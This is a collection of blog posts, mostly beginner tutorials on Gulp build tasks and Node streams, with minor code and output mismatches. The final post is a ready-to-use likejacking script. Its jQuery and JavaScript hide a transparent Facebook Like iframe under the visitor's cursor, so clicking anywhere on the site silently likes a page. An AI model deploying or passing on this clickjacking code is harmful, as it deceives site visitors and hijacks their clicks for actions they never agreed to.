Gulp – Handling Errors With Streams

Gulp, Gulp – Handling Errors with Streams

What if the file was named incorrectly? What happens?

Change the string index.html to OMG_WRONG_FILE.html and rerun the script.

/streams.js
1
2
3
4
5
6
7
8
9
10
11
var fs = require("fs");
var stream = fs.createReadStream(__dirname + "/contents/OMG_WRONG_FILE.html");

stream.on("data", function(chunk) {
  // just output chunk to terminal
  console.log(chunk.toString());
});

stream.on("end", function() {
  console.log("END");
});

Running the script this time results in:

1
2
3
4
5
6
$ node streams.js

events.js:72
        throw er; // Unhandled 'error' event

Error: ENOENT, open '~/YOUR_DIRECTORY/OMG_WRONG_FILE.html'

If we read the error message carefully, then we can see that there is an error event we can listen to. So lets listen for that event.

/streams.js
1
2
3
4
...
stream.on("error", function(er) {
  console.log("error", er);
});

Now we rerun the script and see:

1
2
3
4
5
6
$ node streams.js

error { [Error: ENOENT, open '/Users/bunlong/js/gulp/contents/OMG_WRONG_FILE.html']
  errno: -2,
  code: 'ENOENT',
  path: '~/YOUR_DIRECTORY/contents/OMG_WRONG_FILE.html' }

And that is it for now. We will come back and use some of what we learned later.

Gulp – Streams

Gulp, Gulp – Minify Our CSS

Before we continue, I think a brief detour to cover some basics of Node streams would be helpful.

Lets create a simple Node script to read a index.html file we will create:

/contents/index.html
1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
  <title>Learning Gulp</title>
</head>
<body>
  <h1>Hello Gulp!</h1>
</body>
</html>

First we require the file system library fs and create a read stream.

/streams.js
1
2
var fs = require("fs");
var stream = fs.createReadStream(__dirname + "/contents/index.html");

_dirname is a helper that returns the absolute path of the code file being run.

Node reads files asynchronously. This is normally where we could dive into what “non-blocking I/O” means vs threads, etc. This is a guide about gulp though so I will keep this detour basic.

For our purposes, this means that we have to listen to events from the stream to be able to read the file.

The events we are going to listen to are data and end.

data fires when a chunk of the file has been read and returned. This chunk is not always the entire file. In fact, you should assume it is not the entire file.

/streams.js
1
2
3
4
5
...
stream.on("data", function(chunk) {
  // just output chunk to terminal
  console.log(chunk.toString());
});

end fires when the file has been completly read.

/streams.js
1
2
3
4
5
...
stream.on("data", function(chunk) {
  // just output chunk to terminal
  console.log(chunk.toString());
});

Now altogether, streams.js looks like:

/streams.js
1
2
3
4
5
6
7
8
9
10
var fs = require("fs");
var stream = fs.createReadStream(__dirname + "/contents/index.html");

stream.on("data", function(chunk) {
  console.log(chunk.toString());
});

stream.on("end", function() {
  console.log("END");
});

Now if you run the node script in the terminal, you should see:

1
2
3
4
5
6
7
8
9
10
11
12
$ node streams.js

<!DOCTYPE html>
<html>
<head>
  <title>Learning Gulp</title>
</head>
<body>
  <h1>Hello Gulp!</h1>
</body>
</html>
END

So far so good, That’s it!!! See ya!!! :)

Gulp – Minify Our CSS

Gulp, Gulp – Minify Our CSS

Now since we have our css in a single file, we can continue to increase the performance of our site by minifying our css.

Minifying is the process of eliminating all the unnecessary formatting in a css file. Human’s need spaces and tabs (also known as white space) to more easily read the styles. A browser doesn’t care about white space so we can make the file smaller by removing them.

You should start seeing a pattern when using gulp… because for this we need to use a plugin:

1
$ npm install gulp-minify-css --save-dev

For more information on gulp-minify-css, check out https://www.npmjs.org/package/gulp-minify-css.

gulpfile.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var gulp = require('gulp');
var concat = require('gulp-concat');
var clean = require('gulp-rimraf');
var cssmin = require("gulp-minify-css");

gulp.task('clean', [], function() {
  console.log("Clean all files in build folder");

  return gulp.src("build/*", { read: false }).pipe(clean());
});

gulp.task('default', ['clean'], function() {
  console.log("Concat, move, and minify all the css files in styles folder");
  return gulp.src("contents/styles/**.css")
    .pipe(concat('main.min.css'))
    .pipe(cssmin())
    .pipe(gulp.dest('build/styles'));
});

Open up your terminator to run gulp:

1
2
3
4
5
6
7
8
9
$ gulp

Using gulpfile ~/YOUR_DIRECTORY/gulpFile.js
Starting 'clean'...
Clean all files in build folder
Finished 'clean' after 18 ms
Starting 'default'...
Concat, move, and minify all the css files in styles folder
Finished 'default' after 40 ms

Our build/styles/main.min.css should now look like:

1
p{font-size:30px}h1{color:red}

So far so good, That’s it!!! See ya!!! :)

Gulp – Cleaning Our Build Folder

Gulp, Gulp – Cleaning Our Build Folder

A normal part of a build process is a cleaning task to remove all the old files in the build folder.

For us, this means getting rid of the leftover more_styles.css and some_styles.css files in our build/styles folder.

To clean files, we will need another gulp plugin:

1
$ npm install gulp-rimraf --save-dev

For more information on gulp-rimraf check out https://www.npmjs.org/package/gulp-rimraf.

This task used to be handled by gulp-clean but has been replaced by gulp-rimraf.

Instead of adjusting our default task, lets create a new task to clean out the directory.

gulpfile.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var gulp = require('gulp');
var concat = require('gulp-concat');
var clean = require('gulp-rimraf');

gulp.task('clean', [], function() {
  console.log("Clean all files in build folder");
  return gulp.src("build/*", { read: false }).pipe(clean());
});

gulp.task('default', ['clean'], function() {
  console.log("Concating and moving all the css files in styles folder");
  return gulp.src("contents/styles/**.css")
    .pipe(concat('main.css'))
    .pipe(gulp.dest('build/styles'));
});

So like before, we need to require gulp-rimraf.

This time though, we created a new task called clean. We tell this task to look at all the files in the build folder and then pipe them to our clean operation. This will delete the files.

You might notice that in our options we pass in { read: false }. This tells the task to not read the contents of the files it is deleting. It is an easy performance gain.

To run our clean task from the command line, we just tell gulp which task to run:

1
2
3
4
5
6
$ gulp clean

Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'clean'...
Clean all files in build folder
Finished 'clean' after 8.95 ms

What we would like is to run our clean task before we run our default task. That way our build folder will be nice and empty before we starting moving files there.

You might have been wondering what the empty array ([]) was before our function. This is where we specify dependency tasks.

A dependency task is a task that needs to be completed before gulp can run the current task.

So for our scenario, our clean task is a dependency for default.

gulpfile.js
1
2
3
4
...
gulp.task('default', ['clean'], function() {
  ...
});

Now when we run our default gulp task, we should see that it runs the clean task before default.

1
2
3
4
5
6
7
8
9
$ gulp

Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'clean'...
Clean all files in build folder
Finished 'clean' after 9.03 ms
Starting 'default'...
Concating and moving all files from styles folder
Finished 'default' after 8.42 ms

So far so good, That’s it!!! See ya!!! :)

Gulp – Concat: Combining Multiple Files Into One

Gulp, Gulp – Concat: Combining multiple files into one

Printing Hello and moving files is rather boring. Let’s do something productive.

When we create websites, we are always trying to deliver the best experience possible. This includes having our webpages displaying fast. Back in the day, this meant having all our styles in one css file.

While this made our webpages load faster, it made maintaining the css file a night-mare!

These days we can use multiple css files for better organization and then concat (meaning merge or combine) the files together into one large file.

We left our project looking like:

1
2
3
4
5
6
7
8
9
10
11
/build
  /styles
    some_styles.css
    more_styles.css
/node_modules
/contents
  /styles
    some_styles.css
    more_styles.css
gulpfile.js
package.json

Right now, we have two separate css files in our build/styles folder. We are going to use a gulp plugin to concat all our css files in the styles folder.

Gulp contains some basic tasks, but the power of gulp is the customization you can bring into your build process by using plugins.

For a list of all the gulp plugins available, go to http://gulpjs.com/plugins/

To concat the files together, we will need to install one of these plugins.

1
npm install gulp-concat --save-dev

We can then update our default gulp task to concat the files.

gulpfile.js
1
2
3
4
5
6
7
8
9
var gulp = require('gulp');
var concat = require('gulp-concat');

gulp.task('default', [], function() {
  console.log("Concating and moving all the css files in styles folder");
  gulp.src("contents/styles/**.css")
    .pipe(concat('main.css'))
    .pipe(gulp.dest('build/styles'));
});

Couple of things have changed, can you spot them? First, we had to reference the gulp plugin with:

1
var concat = require('gulp-concat');

We chose to label this concat. Obviously we could call it anything we want, but concat communicates what the plugin does to those reading our build script.

Second, we added another step to our task. In between the src and the pipe(gulp.dest...) steps, we added pipe(concat(...)).

Gulp works by streaming files from one process to another. This allows us to create complex build tasks out of small, simple steps. Composition == winning.

Now run our gulp task:

1
2
3
4
5
$ gulp
Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'default'...
Moving all the css files in styles folder
Finished 'default' after 6.09 ms

Our task will read all the css files in the styles folder, combine them into one main.css file, and then place that file in the build/styles folder.

Our project should now look like:

1
2
3
4
5
6
7
8
9
10
11
/build
  /styles
    main.css
    more_styles.css
    some_styles.css
/node_modules
/styles
  more_styles.css
  some_styles.css
gulpfile.js
package.json

Notice the more_styles.css and some_styles.css files are still in our build folder. :(

We don’t want those chumps there anymore. In the next chapter we will learn how to get rid of those files.

So far so good, That’s it!!! See ya!!! :)

Gulp – Moving Files

Gulp – Moving Files

The first thing we will learn to do with gulp is to move files.

Let’s create simple styles files some_styles.css and more_styles.css.

/contents/styles/some_styles.css
1
2
3
h1 {
  color: red;
}
/contents/styles/more_styles.css
1
2
3
p {
  font-size: 30px;
}

Our project structure should now look like:

1
2
3
4
5
6
7
/node_modules
/contents
  /styles
    more_styles.css
    some_styles.css
gulpfile.js
package.json

Update our gulpfile.js from the previous section and instruct gulp to move all the files found in the styles folder to our build/styles folder.

gulpfile.js
1
2
3
4
5
6
7
var gulp = require('gulp');

gulp.task('default', [], function() {
  console.log("Moving all files in styles folder");
  gulp.src("contents/styles/**.*")
    .pipe(gulp.dest('build/styles'));
});

Well, What do we expect will happen when we run gulp? If you guessed the files will be copied and moved to the build/styles folder, then give yourself a cookie.

When we run gulp , we should see:

1
2
3
4
5
6
$ gulp

Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'default'...
Moving all files in styles folder
Finished 'default' after 7.27 ms

Our project should now look like:

1
2
3
4
5
6
7
8
9
10
11
/build
  /styles
    some_styles.css
    more_styles.css
/node_modules
/contents
  /styles
    some_styles.css
    more_styles.css
gulpfile.js
package.json

So far so good, That’s it!!! See ya!!! :)

Gulp – Hello World

Gulp – Hello World

Let’s start a new node project in our folder and add a package.json by using command below:

1
npm init

Time to install gulp using npm. First globally to access the gulp command and then locally for our package.json .

1
2
npm install gulp -g
npm install gulp --save-dev

By default gulp looks for a gulpfile.js to run. Let’s create a simple gulpfile.js.

gulpfile.js
1
2
3
4
5
var gulp = require('gulp');

gulp.task('default', [], function() {
  console.log("Hellow World");
});

In your terminator run the gulp command below:

1
gulp

You should see:

1
2
3
4
5
6
Hello Gulp

Using gulpfile ~/YOUR_DIRECTORY/gulpfile.js
Starting 'default'...
Hello Gulp! You are mighty fine.
Finished 'default' after ...

Congratulations creating your first gulp build script. So far so good, That’s it!!! See ya!!! :)

Gulp – Installation

Gulp – Installation

This article provides a step-by-step procedure of Gulp installation.

Node.js Installation
Run the setup to install the Node.js on your computer here.
Then open up the terminator in your system and enter the following command. It will display the installed Node.js version.

1
node -v

In the terminator, enter the following command to display the version of npm (Node.js package manager) which is used to install modules. It will display the installed Node.js version.

1
npm -v

Gulp Installation
In the terminator, enter the following command to install Gulp. Adding “-g” flag ensures that the Gulp is globally available for any project.

1
gulp -v

So far so good, That’s it!!! See ya!!! :)

What Is Gulp?

What is Gulp?

What is Gulp?
Gulp is a task runner that uses Node.js as a platform. Gulp purely uses the JavaScript code and helps to run front-end tasks and large-scale web applications. It builds system automated tasks like CSS and HTML minification, concatenating library files, and compiling the SASS files. These tasks can be run using Shell or Bash scripts on the command line.

Why Use Gulp?
- It is shorter, simpler and faster as compared to other task runner.
- Uses SASS and LESS as CSS preprocessor.
- Automatically refreshes page after editing the source files.
- Easy to understand and build the Gulpfile.js because, it uses pure JavaScript code to build the task.

Features
- Provides minification and concatenation.
- Uses pure JavaScript code.
- Converts LESS or SASS to CSS compilation.
- Manages file manipulation in the memory and enhances speed by using the Node.js platform.

Advantages
- Huge speed advantage over any other task runner.
- Easy to code and understand.
- Easy to test the web applications.
- Plugins are simple to use and they are designed to do one thing at a time.
- Performs repetitive tasks repeatedly such as minifying stylesheets, compressing images, etc.

Disadvantages
- More number of dependencies and is a newcomer compared to Grunt.
- Using Gulp plugins, you cannot perform multiple tasks.
- Configuration is not as clean as Grunt.

Facebook Fan Page Auto Like - Revised

Facebook Fan Page Auto Like

Due Facebook Graph API was changed/updated so my previous article ”Facebook Fan Page Auto Like” is no longer working. And here is what I revised.

Well, the process is when someone click anywhere on your site they will automatically like your page, no need to put like button.

Follow the step below to make it work:

1. Put the below code in head tag

Check the body are clicked yet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.12.4/jquery.min.js"></script>
<script type="text/javascript">
  var interval = 0;

  function updateActiveElement() {
    if($(document.activeElement).attr('id') == "fb-iframe") {
      clearInterval(interval);
      bodyClicked = true;
    }
  }

  $(function() {
    interval = setInterval("updateActiveElement();", 50);
  });

</script>

2. Put the below code in body tag:

Load facebook fan page like button & hide it
1
2
3
<div style="overflow: hidden; width: 10px; height: 12px; position: absolute; filter:alpha(opacity=0); -moz-opacity:0.0; -khtml-opacity: 0.0; opacity: 0.0;" id="iframe-wrapper">
  <iframe src="https://www.facebook.com/plugins/like.php?href=https://www.facebook.com/FACEBOOK_PAGE_NAME_URL&send=false&layout=button_count&width=450&show_faces=false&action=like&colorscheme=light&font&height=21&confirm=false" scrolling="no" frameborder="0" style="border:none;overflow:hidden;width:450px;height:21px;" allowTransparency="false"></iframe>
</div>

And then find FACEBOOK_PAGE_NAME_URL in src iframe and replace it with your facebook fan page url (ex: http://www.facebook.com/GeeKhmer).

3. Put the below code anywhere in html tag:

Set mousemove event to body & when body are clicked, it auto click on facebook like button
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<script type="text/javascript">
  var bodyClicked = false;
  var iframeWrapper = document.getElementById('iframe-wrapper');
  var standardBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body;

  function mouseFollower(e) {
    // for internet explorer
    if (window.event) {
      iframeWrapper.style.top = (window.event.y-5)+standardBody.scrollTop+'px';
      iframeWrapper.style.left = (window.event.x-5)+standardBody.scrollLeft+'px';
    }
    else {
      iframeWrapper.style.top = (e.pageY-5)+'px';
      iframeWrapper.style.left = (e.pageX-5)+'px';
    }
  }

  document.onmousemove = function(e) {
    if(bodyClicked == false) {
      mouseFollower(e);
    }
  }
</script>

So far so good, That’s it!!! See ya!!! :)